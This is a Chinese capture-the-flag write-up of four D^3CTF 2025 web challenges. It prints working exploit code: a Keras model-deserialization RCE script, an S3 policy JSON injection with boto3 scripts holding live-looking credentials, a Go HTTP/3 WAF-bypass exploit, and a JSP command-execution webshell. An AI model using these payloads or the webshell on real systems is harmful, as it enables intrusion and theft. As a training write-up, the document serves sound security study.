d3model CVE-2025-1550 考察 CVE-2025-1550 ,参考文章:
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
https://jfrog.com/blog/keras-safe_mode-bypass-vulnerability/
CVE-2025-1550 大致讲的是 Keras 模型的一个反序列化任意代码执行漏洞。Keras 的模型加载流程由 load_model 函数启动。该函数会根据模型类型和文件扩展名执行不同的加载路径。当调用 _load_model_from_fileobj
函数时,会提取 ZIP 文件的内容并开始重建模型。在此阶段,会检查 config.json
文件,并调用 _model_from_config
函数。将 JSON 对象加载到内存后,会调用 deserialize_keras_object 函数将序列化的结构转换回对象。
打开题目,是一个文件上传界面:
附件中包含了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import keras from flask import Flask, request, jsonify import os def is_valid_model(modelname): try: keras.models.load_model(modelname) except: return False return True app = Flask(__name__) @app.route('/', methods=['GET']) def index(): return open('index.html').read() @app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return jsonify({'error': 'No file part'}), 400 file = request.files['file'] if file.filename == '': return jsonify({'error': 'No selected file'}), 400 MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB file.seek(0, os.SEEK_END) file_size = file.tell() file.seek(0) if file_size > MAX_FILE_SIZE: return jsonify({'error': 'File size exceeds 50MB limit'}), 400 filepath = os.path.join('./', 'test.keras') if os.path.exists(filepath): os.remove(filepath) file.save(filepath) if is_valid_model(filepath): return jsonify({'message': 'Model is valid'}), 200 else: return jsonify({'error': 'Invalid model file'}), 400 if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
从源码中分析,可知其会把上传的文件保存成 ./test.keras ,随后调用 is_valid_model 函数进行处理:
is_valid_model 中使用 load_model 来加载模型,而这正是漏洞的触发点:
此处并不需要过多地关心漏洞细节,在参考文章的最后给出了 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import zipfile import json from keras.models import Sequential from keras.layers import Dense import numpy as np model_name="model.keras" x_train = np.random.rand(100, 28*28) y_train = np.random.rand(100) model = Sequential([Dense(1, activation='linear', input_dim=28*28)]) model.compile(optimizer='adam', loss='mse') model.fit(x_train, y_train, epochs=5) model.save(model_name) with zipfile.ZipFile(model_name,"r") as f: config=json.loads(f.read("config.json").decode()) config["config"]["layers"][0]["module"]="keras.models" config["config"]["layers"][0]["class_name"]="Model" config["config"]["layers"][0]["config"]={ "name":"mvlttt", "layers":[ { "name":"mvlttt", "class_name":"function", "config":"Popen", "module": "subprocess", "inbound_nodes":[{"args":[["touch","/tmp/1337"]],"kwargs":{"bufsize":-1}}] }], "input_layers":[["mvlttt", 0, 0]], "output_layers":[["mvlttt", 0, 0]] } with zipfile.ZipFile(model_name, 'r') as zip_read: with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write: for item in zip_read.infolist(): if item.filename != "config.json": zip_write.writestr(item, zip_read.read(item.filename)) os.remove(model_name) os.rename(f"tmp.{model_name}",model_name) with zipfile.ZipFile(model_name,"a") as zf: zf.writestr("config.json",json.dumps(config)) print("[+] Malicious model ready")
添加好依赖,直接运行,会在当前目录生成一个 model.keras 文件:
对了,命令记得改一下。
接下来会遇到一个问题,那就是本地能打通,远程没反应。考虑无回显和不出网的情况,执行以下命令:
1 "args":[["sh", "-c", "env>>/app/index.html"]]
将环境变量追加进 /app/index.html 文件中。至于这个路径是怎么来的,查看 dockerfile 就知道了:
拿到 flag :
d3invitation 这道题给了两个环境,一个是 web 服务端,一个是云存储桶:
web 端可以上传名称和头像生成一个邀请函:
在这里抓包就能发现响应包中返回了 key 和 secret 等信息:
我们可以看到这是一个获取凭证的接口。并且下一个请求就使用了这个凭证:
尝试用这个信息来连接云存储桶,能连,但提示权限拒绝:
应该是临时凭证。
于是我们尝试在获取凭证的地方进行 json 注入,构造一个这样的请求体:
1 {"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListAllMyBuckets\"],\"Resource\":[\"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\"],\"Resource\":[\"arn:aws:s3:::flag/*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListBucket\"],\"Resource\":[\"arn:aws:s3:::flag"}
拿到凭证:
在这个凭证中,我们为自己赋予了三种权限:
s3:ListAllMyBuckets
对所有桶("*"
)的列表权限
s3:GetObject
/s3:PutObject
对 arn:aws:s3:::flag/*
的读写权限
s3:ListBucket
对 arn:aws:s3:::flag
的列举权限
更换凭证,重新测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import boto3 from botocore.client import Config s3 = boto3.client( 's3', endpoint_url='http://35.241.98.126:31644', aws_access_key_id='YTTMZPWHSR05QD9W1LU4', aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i', aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg', config=Config(signature_version='s3v4'), ) # 列出所有存储桶 response = s3.list_buckets() for bucket in response.get('Buckets', []): print(bucket['Name'])
这一次我们能够列出所有桶信息,发现 flag 桶。
下一步列出 flag 桶中的所有 key :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import boto3 from botocore.client import Config s3 = boto3.client( 's3', endpoint_url='http://35.241.98.126:31644', aws_access_key_id='YTTMZPWHSR05QD9W1LU4', aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i', aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg', config=Config(signature_version='s3v4'), ) bucket_name = "flag" # 列出桶内容 response = s3.list_objects_v2(Bucket=bucket_name) # 遍历并打印每个对象的 Key(即“路径/文件名”) if 'Contents' in response: for obj in response['Contents']: print(obj['Key']) else: print(f"Bucket '{bucket_name}' 中没有对象。")
发现一个 key 为 flag :
最后列出 flag 桶的 flag key 的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import boto3 from botocore.client import Config s3 = boto3.client( 's3', endpoint_url='http://35.241.98.126:31644', aws_access_key_id='YTTMZPWHSR05QD9W1LU4', aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i', aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg', config=Config(signature_version='s3v4'), ) # 2. 指定桶名和对象键名 bucket_name = 'flag' object_key = 'flag' # 3. 调用 get_object 获取对象 response = s3.get_object(Bucket=bucket_name, Key=object_key) # 4. 读取 Body —— 这是一个 StreamingBody,对大文件会分块读取。 # 如果内容是文本(如纯 ASCII/UTF-8),可以 decode 成字符串;若是二进制则根据需要处理。 body_stream = response['Body'] content_bytes = body_stream.read() # 读出所有字节 try: content_str = content_bytes.decode('utf-8') # 尝试按 UTF-8 解码(若确实是文本) except UnicodeDecodeError: # 如果不是文本,content_bytes 就是原始二进制,你可以按需保存或处理 content_str = None # 5. 打印结果 if content_str is not None: print("flag 的内容:") print(content_str) else: print("读取到二进制数据,共 {} 字节,需要按二进制方式处理:".format(len(content_bytes))) # 例如:写到本地文件 with open('flag_download.bin', 'wb') as f: f.write(content_bytes) print("已保存到 flag_download.bin")
拿到 flag :
获取凭证处 json 注入 下面简单解释一下为什么我们构造一个那样的 json 数据能够为凭证赋予更高的权限。
这是一次典型的“JSON Policy Injection”利用——利用 object_name
参数的不当拼接,向最终的 IAM Policy 里插入了额外的语句,从而拿到了更高权限的临时凭证。下面分几步来说明:
服务端如何生成 STS Policy(简化示例)
我们用一个伪代码展示后端在收到请求后,如何把传进来的 object_name
拼到一个基础的 Policy 里,大体流程可能像这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 let objectName = request.body .object_name ; let statement = { "Effect" : "Allow" , "Action" : ["s3:GetObject" , "s3:PutObject" ], "Resource" : ["arn:aws:s3:::your-bucket/" + objectName] }; let policyDocument = { "Version" : "2012-10-17" , "Statement" : [ statement ] }; let creds = STS .assumeRole ({ RoleArn : "..." , Policy : JSON .stringify (policyDocument), DurationSeconds : 3600 });
这段伪代码的关键在于:我们假定服务端没有对 objectName
做严格的结构校验或转义,而是直接拼接到最初的 Policy JSON 里。
请求拼接
正常状态下,客户端提交:
1 {"object_name":"aaa.jpg"}
那么实际构造出来的 policyDocument(经过 JSON.stringify 后)就类似于:
1 2 3 4 5 6 7 8 9 10 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": ["arn:aws:s3:::your-bucket/aaa.jpg"] } ] }
而当我们把请求体改为:
1 { "object_name" : "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListAllMyBuckets\"],\"Resource\":[\"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\"],\"Resource\":[\"arn:aws:s3:::flag/*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListBucket\"],\"Resource\":[\"arn:aws:s3:::flag" }
拼完后,整个 policyDocument 看起来就成了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "Version":"2012-10-17", "Statement":[ { "Effect":"Allow", "Action":["s3:GetObject","s3:PutObject"], "Resource":["arn:aws:s3:::your-bucket/*"] }, // 闭合前面的 // ----- 以下全是我们注入的三条 Statement: { "Effect":"Allow", "Action":["s3:ListAllMyBuckets"], "Resource":["*"] }, { "Effect":"Allow", "Action":["s3:GetObject","s3:PutObject"], "Resource":["arn:aws:s3:::flag/*"] }, { "Effect":"Allow", "Action":["s3:ListBucket"], "Resource":["arn:aws:s3:::flag"] } // 这里只有一个 },是拼回外层的 "]}" 那个 ] }
通过这种方式,我们可以为自己赋予任何想要的权限。
tidy quic 题目提示:
题目给了附件,是用 go 搭建的 http3 服务器,并且有使用证书。直接使用附件中给出的证书会报错,所以在编写客户端代码的时候一定要这样来跳过证书校验:
1 2 3 4 5 6 7 // ========== 2. 构造一个支持 HTTP/3 的 http.Client ========== rt := &http3.RoundTripper{ TLSClientConfig: &tls.Config{ RootCAs: certPool, InsecureSkipVerify: true, // 跳过证书校验(只用于测试) }, }
从题目代码可知,如果读到的请求体为 “I want flag” 则会弹出 flag :
直接发送会被 waf 拦截:
缓冲区重用 下面我们来细看一下 waf 的运作原理。
首先,程序读取 Content-Length 头:
如果没有设置 Content-Length 头(默认 -1),则将请求体 r.Body 一次性读完,并且在读取过程中用 textInterrupterWrap 检查请求体;
如果设置了 Content-Length 头,则根据 length 为其分配相等大小的缓冲区 buf ,先将请求体存入 buf ,然后再调用 textInterrupterWrap 进行检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 var buf []byte length := int(r.ContentLength) if length == -1 { var err error buf, err = io.ReadAll(textInterrupterWrap(r.Body)) if err != nil { if errors.Is(err, ErrWAF) { w.WriteHeader(400) _, _ = w.Write([]byte("WAF")) } else { w.WriteHeader(500) _, _ = w.Write([]byte("error")) } return } } else { buf = p.Get(length) defer p.Put(buf) rd := textInterrupterWrap(r.Body) i := 0 for { n, err := rd.Read(buf[i:]) if err != nil { if errors.Is(err, io.EOF) { break } else if errors.Is(err, ErrWAF) { w.WriteHeader(400) _, _ = w.Write([]byte("WAF")) return } else { w.WriteHeader(500) _, _ = w.Write([]byte("error")) return } } i += n } }
textInterrupterWrap 就是检查请求体中是否包含 “flag” ,如果包含就会报错:
那么利用思路就能够想到了:先发送一个 “I want flag” ,并且带上 Content-Length 头为 11 。
这样其会把这个字符串存入的缓存 buf 中,就算被 waf 了也没关系,我们的 “I want flag” 已经存在了 buf 中。
随后发送下一个请求,比如这次的请求体只发送一个 “I” ,Content-Length 头仍然设置为 11 ,这个 “I” ,并不包含 “flag” 字符串,可以绕过 waf 。这个 “I” 会被加入到 buf 中,覆盖原来的第一个字符,构成的还是 “I want flag” 。于是拿到 flag 。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package main import ( "bytes" "crypto/tls" "fmt" "io" "log" "net/http" http3 "github.com/quic-go/quic-go/http3" ) func main() { // 构造一个支持 HTTP/3 的客户端,跳过证书校验(仅测试用) rt := &http3.RoundTripper{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, } defer rt.Close() client := &http.Client{Transport: rt} // --------------------------- // 第一次请求:发送 "I want flag",长度 11 // --------------------------- bodyBytes := []byte("I want flag") // 长度为 11 bodyReader := bytes.NewReader(bodyBytes) req, err := http.NewRequest("POST", "https://35.241.98.126:30226/", bodyReader) if err != nil { log.Fatalf("第一次 NewRequest 失败: %v", err) } req.Header.Set("Content-Type", "text/plain") req.ContentLength = 11 // 11 resp, err := client.Do(req) if err != nil { log.Fatalf("第一次请求失败: %v", err) } defer resp.Body.Close() respData, err := io.ReadAll(resp.Body) if err != nil { log.Fatalf("读取第一次响应失败: %v", err) } fmt.Printf("第一次请求 状态码:%d\n", resp.StatusCode) fmt.Printf("第一次请求 响应 Body:\n%s\n", string(respData)) // --------------------------- // 第一次请求:发送 "I",长度 11 // --------------------------- emptyPadding := []byte("I") bodyReader2 := bytes.NewReader(emptyPadding) req2, err := http.NewRequest("POST", "https://35.241.98.126:30226/", bodyReader2) if err != nil { log.Fatalf("第二次 NewRequest 失败: %v", err) } req2.Header.Set("Content-Type", "text/plain") req2.ContentLength = 11 resp2, err := client.Do(req2) if err != nil { log.Fatalf("第二次请求失败: %v", err) } defer resp2.Body.Close() respData2, err := io.ReadAll(resp2.Body) if err != nil { log.Fatalf("读取第二次响应失败: %v", err) } fmt.Printf("第二次请求 状态码:%d\n", resp2.StatusCode) fmt.Printf("第二次请求 响应 Body:\n%s\n", string(respData2)) }
拿到 flag :
d3jtar 这道题给了附件,题目有三个接口。
/view 用来查看 /WEB-INF/views/ 目录下后缀为 .jsp 的文件,参数 page 被限制为只能输入字母数字:
/Upload 用来上传文件,上传的路径为 webapps/ROOT/WEB-INF/views ,其中有文件后缀黑名单:
secureUpload 被调用:
其中除了文件后缀黑名单之外还有对文件名的过滤:
以及将文件名随机化处理:
/BackUp 用来压缩和解压缩,压缩时传入 op=tar ,会将 webapps/ROOT/WEB-INF/views/ 目录下的所有文件压缩成 backup.tar,解压缩时传入 op=untar ,会将 webapps/ROOT/WEB-INF/views/backup.tar 解压缩:
综上,整理思路。
1、可控的只有文件后缀名和文件内容
2、由于上传的文件名会被随机化,要想得到 backup.tar 文件,只能通过调用压缩接口。
3、由于 /view 接口只能读取后缀为 .jsp 的文件,并且也被限死为字母数字,于是推测解压后的文件后缀一定是 .jsp ,否则无法读取。
4、由于上传文件有后缀黑名单,故不可能直接上传 .jsp 文件。那么可能是上传某个后缀名经过压缩和解压缩变换之后得到了 .jsp 后缀名。
基于以上思路,在不断的尝试下,发现如果后缀名为中文,经过压缩解压缩后会变为乱码:
压缩解压缩后:
记得在上传其他类型的后缀时要把 Content-Type 改为 application/octet-stream ,源码有校验:
于是立刻想到,有没有一种中文,可以让其在压缩解压缩后变为 jsp ?
下面研究一下 测 和 K 的关系,先看他们的 unicode 编码:
发现低位相同,高位由 6d -> 00 。测试其他汉字,发现结果也是一样。
于是我们以同样的思路得到 jsp 对应的中文:
1 2 jsp: \u006a\u0073\u0070 浪浳浰: \u6d6a\u6d73\u6d70
最终得到这个中文为 浪浳浰 。以 浪浳浰 为后缀,压缩解压缩后会变成 jsp :
既然如此,我们就可以直接往文件内容写马,随便找个 jsp 马:
1 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
直接来测远程环境:
记住这个文件名,调用完压缩解压缩接口以后就可以直接访问这个马了:
拿到 flag 。
JTar 中文解压乱码 事后分析原因,大致如下:
JTar 默认用的是 ISO-8859-1(Latin-1)来写入和读取 .tar 条目名称,因此如果文件名中包含 UTF-8/GBK 编码的中文,就会出现乱码。
参考:https://github.com/kamranzafar/jtar/pull/36
特别鸣谢 晨曦 、薄雾初零 、chleynx 、以及其他 NK 师傅
NK wp :D^3 CTF2025 WriteUp By N0wayBack
官方 wp :D3CTF-2025-Official-Writeup